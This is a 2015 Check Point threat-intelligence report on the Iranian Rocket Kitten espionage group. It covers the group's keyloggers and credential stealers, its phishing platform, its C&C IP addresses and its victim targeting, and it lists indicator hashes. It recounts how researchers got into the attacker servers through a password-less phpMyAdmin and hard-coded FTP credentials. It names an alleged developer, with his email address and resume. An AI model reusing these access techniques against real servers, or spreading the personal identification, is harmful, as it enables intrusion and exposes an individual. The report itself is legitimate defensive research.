DESCRIPTION................................................ 33 2015 Check Point Software Technologies Ltd. All rights reserved | 2 EXECUTIVE SUMMARY Since early 2014, an attacker group of Iranian origin has been actively targeting persons of interest by means of malware infection, supported by persistent spear phishing campaigns. This cyber-espionage group was dubbed Rocket Kitten, and remains active as of this writing, with reported attacks as recent as October 2015. The Rocket Kitten group and its attacks have been analyzed on numerous occasions by several vendors and security professionals, resulting in various reports describing the group s method of operation, tools and techniques. Characterized by relatively unsophisticated technical merit and extensive use of spear phishing, the group targeted individuals and organizations in the Middle East (including targets inside Iran itself), as well as across Europe and in the United States. Many of these targets were successfully compromised by various pieces of custom-written malware; and despite identification and flagging of their infrastructure, the attackers have struck again-and-again by making minor changes to their tools or phishing domains. Check Point has obtained a complete target listing from the attackers servers; among confirmed victims are high ranking defense officials, embassies of various target countries, notable Iran researchers, human rights activists, media and journalists, academic institutions and various scholars, including scientists in the fields of physics and nuclear sciences. This report provides a summary of the findings including: New evidence obtained during Check Point s independent investigation into attacker infrastructure, including previously unpublished malware indicators. Information that appears to reveal the full extent of operations over the past year, and provides unique insight into target profiles and attacker operation internals. Analysis of attack data to reveal details on victims and specific industries that may have special significance to Iranian political and military interests. Analysis of attacker mistakes that appear to reveal the true identity of the main developer behind the group s activities (a.k.a. Wool3n.H4T ), detailed for the first time. It is our hope this report and measures taken over the past few weeks lead to an effective shutdown of attacker operations (current generation of tools and infrastructure). While Check Point customers are protected against all known variants of this threat, we urge fellow security vendors and malware research professionals to extend malicious IoC (Indicators-of-Compromise) coverage in current protection infrastructure. 2015 Check Point Software Technologies Ltd. All rights reserved | 3 INVESTIGATION TIMELINE REVIEW [If you are familiar with previous publications and interested in Check Point s new insights, you may skip this section.] The Rocket Kitten campaign/actor group has been studied and analyzed on multiple occasions by different vendors, threat intelligence groups and individual researchers. In a repeating challenge in the malware research domain, we have seen different reports introduce a myriad of code names and operation names for what may very well be the same campaign/actors. In contrast to malware naming schemes, all reports are in unanimous agreement with strong indications of the campaign s Iranian origin. This thesis is supported by the individuals and verticals targeted, as part of a plethora of circumstantial and direct evidence. While we should keep in mind digital evidence can be forged and tailored to falsely masquerade as any attacker to deceive a forensic analyst, the overwhelming amount of independent evidence collected over years of attack activity render the notion of a false campaign extremely improbable. Despite all the reporting and sharing of malicious indicators, Check Point has detected continued active attacks using the same methods and infrastructure. These findings were confirmed by other security vendors, as well as Check Point s research partners. It seems as if the attackers, unsophisticated as they are, are completely undeterred by the western security industry s revelations and publications. Often with the simple replacement of a domain name and minor updates to their malware tools, they continue to carry out their operation undisturbed. Let us try to review and briefly summarize points of interest from the publications so far. 2014 Dec. 2014 June 2015 iSIGHT Partners Gadi Evron & Tillmann Werner ClearSky Newscaster Iranian Threat Inside Social Media2 Operation Saffron Rose1 Rocket Kitten: Advanced Off-the-Shelf Targeted Attacks Against Nation States4 Gholee Protective Edge -Themed Spear Phishing Campaign3 Thamar Reservoir: An Iranian Cyber-Attack Campaign Against Targets in the Middle East6 Operation WoolenGoldfish5 Sept. 2015 Trend Micro, Inc. ClearSky The Spy Kittens Are Back: Rocket Kitten 28 London Calling: Two-Factor Authentication Phishing From Iran7 2014 Sept. 2014 March 2015 Aug. 2015 FireEye ClearSky Trend Micro, Inc. The Citizen Lab https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-operation-saffron-rose.pdf http://www.isightpartners.com/2014/05/newscaster-iranian-threat-inside-social-media/ http://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign/ https://www.youtube.com/watch?v=WIhKovlHDJ0 https://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-woolen-goldfish.pdf http://www.clearskysec.com/wp-content/uploads/2015/06/Thamar-Reservoir-public1.pdf https://citizenlab.org/2015/08/iran_two_factor_phishing/ http://documents.trendmicro.com/assets/wp/wp-the-spy-kittens-are-back.pdf 2015 Check Point Software Technologies Ltd. All rights reserved | 4 The May 2014 Operation Saffron Rose publication identifies an Iranian hacking group formerly named Ajax Security (code-named Flying Kitten by CrowdStrike) engaged in active spear phishing attacks on Iranian dissidents (those attempting to circumvent government traffic monitoring). This group is potentially linked to more recent Rocket Kitten attacks (different tools, yet very similar mode of operation and phishing domain naming scheme). No concrete evidence of such link has been presented yet. Newscaster by iSight Partners was released the same month, to detail similar efforts of persistent spear phishing backed by false social media identities pertaining to be journalists of the fake news web site newsonair.org. iSight, who reportedly cooperated with the FBI, provides a clear Iranian attribution to these efforts. The report specifies the attackers targeted policymakers, senior military personnel and defense industry organizations in the US, UK and Israel. We did not find direct evidence linking this activity to Rocket Kitten. ClearSky s September 2014 blog post first described active attacks using a piece of malware they dubbed Gholee (as appears in a malicious payload export function, potentially named after a popular Iranian singer9). The researcher points to initial leads into other attacks and notes the threat is currently undetected by the overwhelming majority of AV products. Image 1 the gholee export name as noted by ClearSky. Gadi & Tillman s presentation at 31c3 (the 31st Chaos Communication Congress in Germany) was the first clear identification of the Rocket Kitten attacker group, continuing the CrowdStrike naming scheme for Iranian attacker groups. The publication introduced the involvement of hacker persona Wool3n.H4t and other identities in forensic evidence obtained from the malicious documents. Image 2 Forensic artifact in malicious document hinting to file creator as noted by Tillman Werner & Gadi Evron. https://www.youtube.com/watch?v=yNFA8l0kIeQ 2015 Check Point Software Technologies Ltd. All rights reserved | 5 The researchers followed to describe two pieces of malware used by the attackers: A deeper look into ClearSky Gholee determined it is the wrapper component of an off-the-shelf penetration testing tool originally authored by Argentina-based Core Security. This legitimate PT tool, named Core Impact, was illegally repurposed and used for malicious attacks by the Rocket Kitten group. A .NET-based credential stealer that pilfers known certain credential storage locations in the infected computer and e-mails them to wool3n.h4t@gmail.com . This tool appears to be named FireMalv by the attackers. Trend Micro s March 2015 publication reintroduces the Gholee malware (as GHOLE) campaign, and describes Operation Woolen Goldfish, as well as an additional CWoolger an unsophisticated key-logger apparently named woolger (likely a Portmanteau for wool3n keylogger ) written in C++, and present evidence showing its existence starting 2011. C:\Users\Wool3n.H4t\Documents\Visual Studio 2010\Projects\C-CPP\CWoolger\Release\CWoolger.pdb The researchers continue to point at the very likely attribution to the Wool3n.H4T identity as the malware author, whose only online reference was found in an Iranian blogging platform. Image 4 wool3nh4t.blog.ir as pointed to by Trend Micro researchers In this publication, Trend Micro researchers document Rocket Kitten s minor update to the Gholee malware (the gholee function was renamed to function ), supposedly to avoid the Yara signature published by ClearSky and document the existence of Gholee malware samples dating March 2011, as further evidence for historic attacker activity. ClearSky continued their investigations into the group s activities and in June 2015 published a paper dubbing the attack campaign Thamar Reservoir named after Dr. Thamar E. Gindin, herself a Rocket Kitten target. ClearSky researchers notably mention the breach of an Israeli academic institution to serve as a hosting service for the phishing web site, and follow to present an OPSEC (operational security) failure by the attackers that allowed ClearSky to learn of a detailed (partial) target list. 2015 Check Point Software Technologies Ltd. All rights reserved | 6 Syria United Arab Emerates Kuwait Egypt Turkey Morocco Jordan Pakistan Canada Iran Spain Afghanistan United Kingdom Iraq Saudi Arabia Venezuela Yemen Israel Image 5 Partial target country distribution as visible on the phishing server logs exposed by ClearSky This list was analyzed to confirm a strong alignment with nation-state political interests, with specific victims known as adversarial or of intelligence value to Iran. ClearSky also reference an inadvertent public confirmation for the Iranian attribution by the US Department of Treasury in a memo which briefly appeared online, before being deleted. ClearSky provided many examples of personalized phishing e-mails and communication, including phone calls to victims luring them to open these attachments, demonstrating the group s persistency and breadth of operations. Image 6 Custom- tailored phishing page as presented by ClearSky 2015 Check Point Software Technologies Ltd. All rights reserved | 7 The same phishing phone calling scheme was detailed in an August 2015 report by Citizen Lab, describing attempts to lure victims to provide their two-factor authentication tokens. In these attempts, victims receive tailored calls from a person who has clearly researched them, prompting them to take action on received e-mails. Among targeted victims Citizen Lab mention EFF s Director for International Freedom of Speech Jillian York. The Citizen Lab report describes overlapping phishing domains with ones previously reported, confirming a link with Rocket Kitten. Image 7 Google password reset phishing page as presented by Citizen Lab Interestingly, a special update to the Citizen Lab publication was added to include a response from a news outlet reported to be in close connection with Iranian intelligence, following allegations by exiled Iranian journalist Omid Memarian attributing these attacks to Iranian Revolutionary Guards10 with no doubt. The response mocks the Western Media fishing in muddy waters and describe the allegations as weird. The latest paper from Trend Micro and ClearSky (dated September 2015) goes a great length to detail the group s profile and mode of operations so far, and introduces a few more attack incidents, as well as a new downloader piece of malware. A branch of the Iranian armed forces, sworn to protect the country s Islamic system and prevent foreign interference 2015 Check Point Software Technologies Ltd. All rights reserved | 8 ROCKET KITTEN TOOLS & INFRASTRUCTURE The Rocket Kitten attacker group s main attack vector is spear-phishing. An effective phishing campaign requires nothing more than a tailored phishing page, hosted on a cheaply-available web server. As described in previous publications, the Rocket Kitten attackers make extensive use of various phishing schemes, often including back-and-forth e-mail correspondence with the victims, or even phone calls to establish legitimacy and reason to open the malicious attachment. Actual malicious attachments detected in this campaign varied between a set of custom-written malware pieces, or downloader components that, in turn, fetch the malware from a remote server and execute in on the victim machine. Additionally, we have witnessed many attacks using various web hacking tools and suites, in attempt to break into victim web sites. Previously reported custom-malware included: CWoolger a C++ based woolen key-logger. The malware records all keystrokes and sends out key-log data to a hard-coded FTP server. Wrapper/Gholee repurposed Core Impact penetration testing tool. The malware allows a platform for remote access, pivoting for lateral movement and further malware installation. FireMalv a .NET based Firefox credential stealer. This tool copies passwords stored in the Firefox browser storage. Check Point investigations additionally discovered the attackers using the following: .NETWoolger a .NET based woolen key-logger. This malware is functionally similar to CWoolger. The attackers seem to use them interchangeably, as alternate infection mechanisms (in case one is detected at the victim computer). a custom RAT of wider functionality. The malware allows key-logging, as well as remote command execution, screenshot grabbing and traffic monitoring. For a detailed technical description of the MPK malware see Appendix B. In addition to custom-written malware, we have seen the attackers use various hacking and scanning tools to attack victim web-sites. Metasploit An open-source, extensible penetration testing platform. Metasploit meterpreter payload was wrapped in an executable file and distributed as a RAT attached to phishing emails by the attackers. Havij & SQLMap SQL injection tools; Havij originates in Iranian development, while SQLMap is an open source project. Acunetix & Netsparker off-the-shelf web vulnerability scanners, attempting to automatically discover and exploit vulnerabilities in common web platforms. WSO Web Shell a well-known web shell - PHP script that allows backdoor access on a hacked server. Typically deployed after successful compromise to allow further actions. NIM-Shell a web shell of Iranian hacker group origin with similar functionality. Additionally uses Perl scripts on the hacked server. Web hacking attempts were detected to originate from various IP ranges, occasionally immediately adjacent to known Rocket Kitten C&C servers. We can estimate the attack operators either used these servers directly, or configured them as Proxy/VPN endpoints to channel their attacks. Combining the research work done so far with observed attacks by Check Point, we can map out a diagram overviewing the attacker s infrastructure. 2015 Check Point Software Technologies Ltd. All rights reserved | 9 NETHERLANDS SingleHop HostKey Operators/VPN [107.6.181.96-127] [107.6.172.50-62] [107.6.154.224-231] 107.6.181.100 107.6.172.52 107.6.154.230 GERMAN SATELLITE BusinessCom [5.145.151.1-7] Mail Woolger FTP 107.6.181.116 IABG [84.11.146.52-63] 107.6.172.53 Operators/ Woolger FTP 107.6.172.54 5.145.151.6 84.11.146.61 MPK C&C 107.6.172.55 Phishing Wrapper/ Gholee C&C 107.6.181.114 84.11.146.55 107.6.172.51 84.11.146.62 31.192.105.10 5.39.223.227 VICTIMS :8900/8899/ 8987/9090/ 1993 RapidSwitch [109.169.22.69-72] [109.169.61.4-8] :80/ Operators/VPN 109.169.22.71 109.169.22.72 MPK C&C 109.163.22.69 C/.NET Woolger Phishing 109.169.61.8 Wrapper/ Gholee NIM-Shell ColoUp SAUDI ARABIA Cyberia Global Layer BV Operators/VPN 162.223.90.148 162.223.91.226 162.222.194.51 Operators/VPN MALWARE TRAFFIC 212.118.118.100 Wrapper/Gholee index.php?c=[CAMPAIGN_ID]&r=[INT] //[mpk]\[COMMAND_ID] //[smpk]}[COMMAND_ID] We have no reason to believe any of the mentioned providers are related to the malicious activity. The campaign operators likely masqueraded as a legitimate customer or hacked into the servers without the knowledge of the service provider. Specified ranges are likely to be assigned in whole for the attackers use. Due to the dynamic nature of IP assignment, these may expire after the release of this report. Because of the way satellite communications work, the infrastructure geo-located to Germany may not be physically located in that country. It would be an educated speculation to assume the servers are physically located in Iran. This assumption is supported by several indicators, including registrant details. 2015 Check Point Software Technologies Ltd. All rights reserved | 10 GEFILTE PHISH BEST SERVED COLD After learning of an active attack incident from the Rocket Kitten group on a customer network, Check Point researchers decided to actively join the investigation. While the recent paper from Trend Micro and ClearSky ( The Spy Kittens Are Back: Rocket Kitten 2 does extensively cover the campaign s narrative, we aimed to seek confirmation that our analyzed attack was positively connected to the same campaign and set out to provide additional value and insight. Upon learning of the attack, we attempted to communicate with the phishing web server and gather primary reconnaissance. We learned the same IP address was used for multiple malicious domains. Noting the server on this IP address was alive and well, we decided to probe and question that particular server s purpose. What we found took us all by surprise. We started our web probe by making scripted GET requests attempting to browse to well-known paths. A minute later, we were excited to find a 200 OK response for a few requests, including /xampp and none other than /phpmyadmin(!). Suspecting false positive results by our scripts, we typed in /xampp into our browser and watched with awe: Image 8 A default configuration of XAMPP on a live attacker server! We curiously entered the direct path into our web browser and loaded the phpmyadmin interface. It wasn t until we actually submitted a query on the server, when we understood that phpmyadmin had been configured to allow password-less root access to any browsing visitor. Such a gaping hole must be a decoy we immediately thought. There is no way nation-state attackers would err in such amateur fashion, leaving their phishing server database exposed would they? 2015 Check Point Software Technologies Ltd. All rights reserved | 11 If only they had paid attention to the XAMPP Security page: Image 9 The MySQL admin user root has NO password UNSECURE Happily browsing through the free-for-all exposed database, we quickly noted numerous schemas; most of them were completely empty (for testing purposes?), with one specific schema standing out: phakeddb Image 10 phakeddb schema note utf8_persian_ci collation for several tables phakeddb contained a set of very interesting tables and data sets; the kind of data sets that fuel the fantasies of malware campaign researchers. Browsing these tables, we found the phishing web application, likely to be a custom development by the Rocket Kitten attackers. The web application would, upon operator instruction, generate the target-specific personalized phishing page for the targeted service (Gmail, YouTube, Hotmail, etc As we later learn, this platform was named Oyun Management System by the attackers. 2015 Check Point Software Technologies Ltd. All rights reserved | 12 Let us first look at the users table: Image 11 the users table The attackers log in to the application, just like any other web platform, in order to set up their phishing campaigns. This server seems to have been deployed August 2014, when all users were created. And the hash type of passwd fields used? You may not be surprised to learn they used unsalted MD5 hashes. That s actually not the most oblivious malpractice in this system, however; the hash for the user named super admin (assigned with all possible permissions) is e10adc3949ba59abbe56e057f20f883e. Hobbyist cryptographers may recognize this string as the MD5 hash for 123456 Looking at user names, we can spot some potentially Persian names or aliases such as merah, kaveh, ahzab or amirhosein. These were potentially the campaign operators tasked with social engineering and tailoring a phishing page per target. (hint: 123456 was not the only trivially crackable password in this list) Moving on to the intriguing conversation table, this appears to be an experimental messaging feature between attackers. Unfortunately, it was rarely used. Image 12 the conversation table 2015 Check Point Software Technologies Ltd. All rights reserved | 13 Most messages include links to various phishing domain pages, perfectly correlating to reported attack pages, proving this database is indeed in direct correlation to the attacks. Interestingly enough, we can see user id 55 (correlating with the attache username in the users table) making a request: please 20 subject for me. tank you attache Later on, user id 60 ( john ) pleas: seyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeedddddddddddddd ddddddddd please please please support me please I need make a new project please add 50 subject tank you so match fadaaaaaaaaaaaaaaaaaaaaat bos bos As 'boos' is Farsi for 'kiss', 'bos bos' might be considered the Persian version of 'xoxo'. What does that mean? What projects and subjects are this system s users referring to? A glimpse into requiretypes lays out a much clearer description for this system s purpose: Image 13 the requiretypes table 2015 Check Point Software Technologies Ltd. All rights reserved | 14 We can see template codes for phishing pages, including the descriptive Victim Full Name, Victim User Name field values. It seems that this application generates the custom phishing templates using these custom fields. Even more telling, we have examples for each field, reintroducing us to our Wool3n.H4T friend (author of key-logger malware by the same group), repeatedly mentioned in this column. This introduces the reasonable possibility that Wool3n.H4T himself wrote this phishing application as a supporting tool for the campaign. There is an intriguing supervisor@ybsoft.com reference, too, but ybsoft.com is currently registered to a Chinese electronics shop, so no luck in that direction. The real jackpot, however, is still ahead. When we opened the projects table, we momentarily lost our breath. A project is apparently a single victim (target e-mail address), assigned with a proj_id , a tasked operator, and the specific link that was generated to be sent to this victim. We just hit 1842 records including all victims attacked starting August 2014 and all the way to August 2015 (when this database was accessed). Image 14 the projects table Not only do we have the e-mail addresses of all victims, we also have the template values for their respective phishing pages (in the projectmailrequirevalues table)!. For example a Google Sign-In page normally displays the full name of the victim, as well as a public avatar defined by the user. The attackers had to replicate this look and feel, and filled the database with full names, addresses and photos for every targeted victim. We verified and retrieved names and images of previously reported victims as expected. 2015 Check Point Software Technologies Ltd. All rights reserved | 15 Image 15 the projectmailrequirevalues table But what does projectlogs contain? Is that what we think it is? Image 16 log of every access to any phishing page on that server This table contained a log entry for every access to any phishing page, including the credentials provided by the victims, if successfully fooled. We can now use this data to gather insightful analytics on spear phishing activity over one year spanning August 2014 to August 2015. Please see the attack log analysis section in this report. Continuing our server probe, we discovered a similarly exposed Webalizer interface, providing useful analytics including counters and frequently accessed links. 2015 Check Point Software Technologies Ltd. All rights reserved | 16 Image 17 Webalizer statistics for August 2015 The Webalizer interface neatly presented us with a lot of useful metadata, including Top 40 visitor IPs clearly identifying attacker access to the site, and providing us with many leads for the remainder of the investigation. Interestingly enough, we also found some referrer headers, leading to a path on the same server: Image 18 login screen 2015 Check Point Software Technologies Ltd. All rights reserved | 17 In what can be described as a hacker secret access portal we seem to have reached the web interface of the phishing platform. Testing the admin credentials we previously cracked we get: Image 19 the Oyun Mangement System (OMS) [sic] We now learn the attackers name this system Oyun and actually used Larry Page s public profile picture as admin s avatar. The remainder of the interface simply allows access to the phakeddb database, including insertion, editing of projects (/targets) and even the internal chat platform as evident in conversations. WOOLGERED HOISTED BY THEIR OWN PETARD Using credentials hard-coded into the woolen key-logger, we were able to retrieve numerous woolger DAT files (key-logs), as uploaded from victims around the world. As apparent, the same hard-coded FTP credentials were, in fact, Administrator credentials on the C&C Windows server itself, which had the C$ and D$ NetBIOS/SMB administrative shares openly accessible from the WAN. Image 20 if you didn t want to allow researchers to have administrator access to your C&C server you shouldn t have hard-coded administrator credentials into your malware. 2015 Check Point Software Technologies Ltd. All rights reserved | 18 Among many logged keystroke files containing stolen data, we stumbled on an astonishing discovery: the Rocket Kitten attackers had, in fact, infected their own workstations, apparently as test-runs for woolger. The attackers failed to remove these files from the C&C server, demonstrating, yet again, utter lack of OPSEC. Of peculiar interest to us were logs made by none other than Wool3n.H4t himself: Image 21 The test worked. Would you be surprised what followed in the same log file? Image 22 The attacker testing his own tool. Yes, we actually just witnessed Wool3n.H4T switching through his open windows, including a Microsoft Visual Studio live debugging session of a project called CWoolger In another log, we observe the specific programming of loading of the wsc.vbs script, as observed in the Trend Micro publication and others. At this point, there should be no question we are looking at the malware author s development workstation. Image 23 Mutexes and thread-safety should be the least of your worries. 2015 Check Point Software Technologies Ltd. All rights reserved | 19 The next log shows us the attacker wanted to test whether his tool would accurately capture credentials entered into a Firefox HTTP authentication prompt, and thus he entered his own C&C server Image 24 All of Wool3n.H4T s retrieved logs were dated October 2014. Then, we spotted this log segment: Image 25 AOL Mail already narrowed it 2015 Check Point Software Technologies Ltd. All rights reserved | 20 Recorded under the Wool3n.H4T name, a user logs into AOL mail with username yaserbalaghi. Could it be the same Yaser as noted in the recent Trend Micro and ClearSky paper? ( D:\Yaser Logers\CWoolger ) Could it explain the Phakeddb reference to ybsoft ? We don t know at this point; we have to go deeper. yaserbalaghi@aol.com appears to give a technical answer in a long C++ thread in an Iranian programmers forum ( Barname Nevis in Iranian Solar Hijri calendar year 1389 (2010-2011): The same yaserbalaghi user made several posts, also linking to various programming instructional videos in the subjects of ASP.NET and AJAX, jQuery and SQL injections as instructed by him using screen capture software. Careful watching of the videos allowed us to learn a few interesting details. For starters, Yaser Balaghi is a Microsoft Visual Studio 2010 user, with familiarity of several tools observed to be used during the Rocket Kitten campaign. Image 26 Screenshot taken from instructional video by Yaser Balaghi (Engineer Balaghi) 2015 Check Point Software Technologies Ltd. All rights reserved | 21 Image 27 EngineerBalaghi host name Further inspecting the user names and host names evident in the screen captures, we noticed we were actually in possession of logged keystrokes from an "infected computer where the user name was Engineer Balaghi, strengthening our suspicions. However, we can t be sure yet; Yaser Balaghi may be a common name or perhaps this is someone related to Wool3n.H4T or the attackers. A few minutes later, and we spotted this gem of an OPSEC mistake in the SQLi instructional video, which precisely provided the smoking gun we were after: Image 28 Watching an hour of Farsi SQL injection tutorial has its rewards 2015 Check Point Software Technologies Ltd. All rights reserved | 22 Wool3n.H4t is caught red-handed. One of his many mistakes, he was now caught giving a public tutorial while logged in under his secret alias, otherwise unlinked with his real identity. These videos were recorded February 2014, prior to the first clear Rocket Kitten attack wave mid-year. A quick glance on W00l3n.Hat s desktop reveals a striking match with web hacking attack tools previously described in Rocket Kitten s arsenal. Image 29 Havij, Acunetix, Netsparker, SQLMap, wamp, and oh is that IDA properly licensed? A few online queries later, we are getting numerous results, cross-referenced to verify as the same Yaser Balaghi, now the main suspect to hold the Wool3n.H4T identity. Engineer Yaser Balaghi is not only an active member of various programming forums he had a web site (www.eng-balaghi.com, gone offline since August 2014, still available in the Wayback Machine). In the available archived version of the site he described himself as a programmer, analyst, consultant and lecturer, and made himself available for hire. Image 30 Yaser Balaghi s stackoverflow account 2015 Check Point Software Technologies Ltd. All rights reserved | 23 If all that wasn t enough, we also managed to retrieve an updated resume for Tehran-based Engineer Balaghi: Image 31 Yaser Balaghi s Resume (2013) Islamic Azad University Computer Software Graduate Balaghi lists his job experience, including Technical Director and Team Leader of Software Development Team (Private) (highlighted in original), as well as Head of Security and Hacking (legal and ethical) (Private) . Later, he goes as far as listing sample accomplishments and completed projects, including the development and system design for a Phishing Attacks System ordered by a cyber-organization Image 32 (original and translation) we kid you not. We could go on, but the main lesson of this section can be: if you don t want people to know you created malware for the government, t list it in your CV. 2015 Check Point Software Technologies Ltd. All rights reserved | 24 REELED IN PHISHING LOGS ANALYSIS As reported so far, the attackers persistently e-mailed, called and responded with fake identities, tailored for each victim. The attackers clearly read the public reports about them, respond and adapt their tactics, occasionally showing a creative mindset. In one reported case, the attacked posed under the true identity of a ClearSky researcher, referencing the recent Rocket Kitten report, attaching detection software that does exactly the opposite. This an interesting tactic, worthy of mentioning in social engineering classes. It would be wise at this point to mention that the release of report does not include any accompanying detection or protection tools other than the existing Check Point software blades. If you received this report with an attached executable, it is likely a malicious lure. In another case, the attackers sent a malicious attachment using the identity of a previously known targeted victim. The Israeli recipient of that attachment was wary enough to suspect the origin of the e-mail and responded with a query: Is that you or are the Iranians in your computer again? To which the attackers responded (in perfect non-Google-Translate Hebrew): The Iranians will never return to my computer! That very well may have been the talk of the day at the Tehran operations center, possibly featured in an email printout in the main dining room. As the Rocket Kitten group s behavior was well characterized in previous publications (see the recent report from Trend Micro and ClearSky). We will focus on new insights based on our analysis of the Oyun system victim database. We understand that this database contains a partial view, starting August 2014 to August 2015. While the data can be successfully correlated with logs collected from other servers, we have no visibility of e-mails with malicious attachments (as opposed to phishing links to steal credentials), or any complete web hacking log for attacker activity. The sheer volume of the target database suggests an extensive operation, the work of a group of people over months. The logs included the visiting IP address geo-located country. Our analysis shows the following distribution: Other United Arab Emirates Saudi Arabia Ireland Satellite Provider Afghanistan Germany United States United Kingdom Turkey Georgia Israel Netherlands Iran Islamic Republic of Chart 1 Phishing visitors country distribution We have studied the visitor data to determine this includes many attacker accesses to test the site functionality. We know the attackers used addresses from Iran, as well as VPN access from the US, Germany, Saudi Arabia and the Netherlands. The data must be interpreted taking these facts into consideration. 2015 Check Point Software Technologies Ltd. All rights reserved | 25 Our primary filtering dismissed around 25% of logs and 15% of projects as test runs for the system. The following is based on the remaining seemingly valid entries. Charting the phishing logs over time, we can observe the following timeline: Visited Phishing Site Entered Credentials 1592 Chart 2 Phishing logs and successes over time We can study this data to make a few interesting observations: On average, all phishing pages on this server had 26% success in fooling victims to enter their credentials. These are surprisingly high results, potentially attributed to persistency and well-targeted e-mails. On May 26, 2015, there is a unique peak of access to the site, with minimal successes. When analyzed, these accesses appear mostly in 3 batches over periods of minutes, with incremental project_ids and no data provided, from Israeli IP addresses. We can safely discard these as researcher probes, attempting to brute-force phishing pages, immediately preceding the ClearSky June publication. The attackers seem to have shut down their platform on June and July (likely due to the publication) and resumed operations during August. We found evidence to suggest the database had been migrated from a previous server. Slicing the projects table by user_id allows a unique internal look on operator assignment; while our target analysis is far from conclusive, we can share a reserved primary assessment of what each user was tasked with: User Projects Target Profile admin 83 projects strictly system testing anonymous 522 projects this is one of the prominent users in the system, tasked with all around mixed targets focused on Saudi Arabia, many human rights activists, CEOs and ministry officials. merah 147 projects assigned with all Israeli targets, notably including known physics and nuclear scientists, former military officials, national security and foreign policy researchers. This operator is probably a fluent Hebrew speaker. kaveh 57 projects very little activity mostly testing and some Venezuelan targets. ahzab 691 projects one of the two busiest operators, in 2014 he targeted a vast amount of Saudi scholars and persons of influence, and later listed education and media outlets in Saudi Arabia. 124 & attache 233 projects these users both showed clear targeting of defense sector victims, as well as embassies of Iran s neighboring countries and others. Quite fitting with one of their usernames, they listed several military attach s in their victim list. Notable targets include representatives from the United Arab Emirates, NATO and other regional posts in Afghanistan as well as Thailand and Turkey. john 108 projects During late 2014 he was directly tasked with Venezuela trade and finance targets, later in 2015 he moved to former Iranians living abroad listing professors, scientists, journalists and investors Despite our limited visibility, we can confirm many of these attacks were successful the attackers gained confidential information from various targets all around the world. 2015 Check Point Software Technologies Ltd. All rights reserved | 26 EPILOGUE We believe the Rocket Kitten case is an interesting case study for the malware research industry, exemplifying a continuing trend in the nation-state attacker profile we have witnessed over the past two years; cyber-espionage is no-longer reserved to organizations with monstrous budgets to hire thousands of cyber-warriors, operate password-cracking super-computer clusters or advanced research to infect your hard-drive firmware. Adversaries will often find simpler ways for effective compromise, such as creative phishing and simple custom malware. In this case, as in other previously reported cases, it can be assumed that an official body recruited local hackers and diverted them from defacing web sites to targeted espionage at the service of their country. As is often the case with such inexperienced personnel, their limited training reflects in lack of operational security awareness, leaving a myriad of traces to the origin of the attack and their true identities (e.g. Yaser Balaghi, Mehdi Mahdavi and others). Despite publications, code names and articles in security outlets - the same known attacker group continues to attack with minimal interruption. Highlighting a repeating industry problem, minimal changes to existing malware often evade most current protection solutions. Effectively stopping attackers must involve action on top of analysis efforts. We approached and will continue to approach hosting providers through the assistance of CERT coordination and other bodies in various countries. We hope these efforts are fruitful, and can help disable or reduce the attacking infrastructure. If you would like to share important information regarding this campaign, please use icanhazrocket@checkpoint.com 2015 Check Point Software Technologies Ltd. All rights reserved | 27 APPENDIX A INDICATORS OF COMPROMISE Samples All hashes are MD5 or SHA1 Lure Documents / Droppers 01c9cebbc39e273ac1f5af8b629a7327 08273c8a873c5925ae1563543af3715c 1685ba9dbdb0e136d68e0b1a80a969b5 177ef7faab3688572403730171ffb9c4 1ceca1757cb652ba7e5b0d45f2038955 266cfe755a0a66776df9fd8cd2fee1f1 271a5f526a638a9ae712e6a5a64f3106 2cb23916ca60a63a67d974f4ddeb2a11 393bd2fd420eecf2d4ca9d61df75ff0c 395461588e273fab5734db56fa18051b 48573a150562c57742230583456b4c02 4bf2218eb068385ca1bfff8d609c0104 50d3f1708293f40a2c0c1f151c2c426f 54ee31eb1eed79d4ddffd1423d5f5e28 55ff220e38556ff902528ac984fc72dc 5a009a0d0c5ecaac1407fb32ee1c8172 5af0cbc18c6f8ed4fd1a3f68961f5452 60f5bc820cf38e78b51e1e20fed290b5 61a808ce0b645c4824d79865be8888ed 85b79953bf2b33fb6118dc04e4c30910 8ed01ac79680d84c0ee7a5f027d8b86a 9fc345c25e6ab94bca2db6ee95d2c861 ac94ee83c91ca784a88ff26cf85e273a aeb9d12ecbe73bfa91616ebacf24831b c9ea312c35e9ac0809f1c76044929f2f d0c3f4c9896d41a7c42737134ffb4c2e d14b3e0b82e3b5d6b9cc69b098f8126d e1a5b4ffc612270425d5d31f4c336aa9 f68a0a3784a7edfc60ad9333ec209cbf f8547010eb4238f8fb76f4e8a756e36d 0482fc2e332918456b9c97d8a9590781095b2b53 0f4bf1d89d080ed318597754e6d3930f8eec49b0 1a999a131144afe8cb7316ebb842da4f38101ac5 2627cdc3324375e6f41f93597a352573e45c0f1e 2c3edde41e9386bafef248b71974659543a3d774 46a995df8d9918ca0793404110904479b6adcb9f 4711f063a0c67fb11c05efdb40424377799efafd 476489f75fed479f19bac02c79ce1befc62a6633 64ba130e627dd85c85d6534e769d239080e068dd 6571f2b9a0aea89f45899b256458da78ac51e6bb 788d881f3bb2c82e685a98d8f405f375c0ac2162 9579e65e3ae6f03ff7d362be05f9beca07a8b1b3 a9245de692c16f90747388c09e9d02c3ee34577e ad6c9b003285e01fc6a02148917e95c780c7d751 ae18bb317909e16f765ba2e88c3d72d648db2798 b67572a18282e79974dc61fffb8ca3d0f4fca1b0 c485b0d59b28d37a1ac80380b0d7774bdb9d8248 c727b8c43943986a888a0428ae7161ff001bf603 2015 Check Point Software Technologies Ltd. All rights reserved | 28 e2728cabb35c210599e248d0da9791991e38eb41 e6964d467bd99e20bfef556d4ad663934407fd7b ec692cf82aef16cf61574b5d15e5c5f8135df288 ed5615ffb5578f1adee66f571ec65a992c033a50 f51de6c25ff8e1d9783ed5ac13a53d1c0ea3ef33 f7f69c5ed94a03f6d57e9afd33c2627ff69205f2 Wrapper / Gholee 05523761ca296ec09afdf79477e5f18d 08e424ac42e6efa361eccefdf3c13b21 0b67ebed08f09c0584b92f4e94ced778 13039118daadbe87e337310403e64454 14f2e86f11114c083856c92095d79256 1b02ac8c0e1102faaee70f4026cad291 223feb91efbe265696f318fb7c89c3fd 3dd221b0ea6f863e086868b246a6a104 4215d029dd26c29ce3e0cab530979b19 48573a150562c57742230583456b4c02 